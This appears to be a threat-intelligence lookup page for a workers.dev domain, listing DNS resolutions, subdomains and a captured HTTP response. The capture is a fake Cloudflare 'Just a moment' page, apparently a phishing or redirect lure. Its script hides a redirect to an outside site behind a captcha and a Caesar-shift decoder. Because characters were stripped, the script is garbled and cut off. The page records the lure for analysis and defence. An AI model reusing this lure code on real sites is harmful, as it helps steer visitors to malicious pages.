Domain > 6bf8668d.e4705540eff33a2bd4f736bc.workers.dev

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2025-05-25	172.67.202.51 (ClassC)
2025-08-02	104.21.22.32 (ClassC)

HTTP/1.1 200 OKDate: Sun, 25 May 2025 18:14:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveReport-To: {endpoints:{url:https://a.nel.cloudflare.com/report/v4?sWk4mW4KbKwTM

!doctype html>html langen-US>head>   script async defer srchttps://challenges.cloudflare.com/turnstile/v0/api.js?onloadonloadTurnstileCallback>/script>   title>Just a moment.../title>   meta contentwidthdevice-width,initial-scale1 nameviewport>   script>    var verifyCallback_CF  function (response) {      if (response && response.length > 10) {        sendRequest(); // Only send the request after CAPTCHA is solved      }    };    window.onloadTurnstileCallback  function () {      turnstile.render(#turnstileCaptcha, {        sitekey: 0x4AAAAAAAfGcjr9V5rw_2EZ,         callback: verifyCallback_CF,      });    };    function hh2(encryptedText, shift) {      let decryptedText  ;      for (let i  0; i  encryptedText.length; i++) {        let c  encryptedTexti;        if (c.match(/a-z/i)) {          let code  encryptedText.charCodeAt(i);          if ((code > 65) && (code  90)) {            c  String.fromCharCode(((code - 65 - shift + 26) % 26) + 65);          } else if ((code > 97) && (code  122)) {            c  String.fromCharCode(((code - 97 - shift + 26) % 26) + 97);          }        }        decryptedText + c;      }      return decryptedText;    }    function Encrypt(text, publicKey) {      console.log(encrypt with public key:, publicKey);      return text;     }    let sx  https://robineyescare.com/?khchptzb;    const PUBLIC_KEY  `-----BEGIN PUBLIC KEY-----    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCJBwcY8t0AqPquU+Ah1    R0EPWlcD5XSXhOEe00844TkiGLFHnMWQEugh0zYh/kgrw8hv1ifOmf4Jrkis3tlW    qpIO2U9Nle23D1VKpxZSxRyYTbnoyq3lRcqY5txOJKdviR9fA9wPidS6KTXhX2xq    wq1jjYvgHtntEGYwK6Lzm6Q8jTjfV7ICqnV74GTKnPN7VMDKsS2+Dcf2Y2IoYY1o    NM7nWPKFeVUmkqFMowkdBmGJHL4UqRcxbhiRX3AAzzdQvbQg7OQxYjbKak23IvDN    1ia9SsXQyo5H/XnfXB2Nb9sNayO5sV+hDmBRlujtm1+maqGMJUXZeVHL81Q7O22a    WQIDAQAB    -----END PUBLIC KEY-----`;    function sendRequest() {      const userAgent  navigator.userAgent;      const EncryptedUserAgent  Encrypt(userAgent, PUBLIC_KEY);      console.log(Sending request with encrypted user-agent:, EncryptedUserAgent);

Port 443

HTTP/1.1 200 OKDate: Sun, 25 May 2025 18:14:59 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: cloudflareNel: {success_fraction:0,report_to:cf-nel,max_age:604800}Cf-R

Subdomains

Date	Domain	IP
2c9b8bf6.e4705540eff33a2bd4f736bc.workers.dev	2025-05-25	104.21.22.32
6bf8668d.e4705540eff33a2bd4f736bc.workers.dev	2025-05-25	172.67.202.51
83fd20bf.e4705540eff33a2bd4f736bc.workers.dev	2025-05-22	172.67.202.51

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > 6bf8668d.e4705540eff33a2bd4f736bc.workers.dev

Is this malicious?

DNS Resolutions

Port 80

Port 443

Subdomains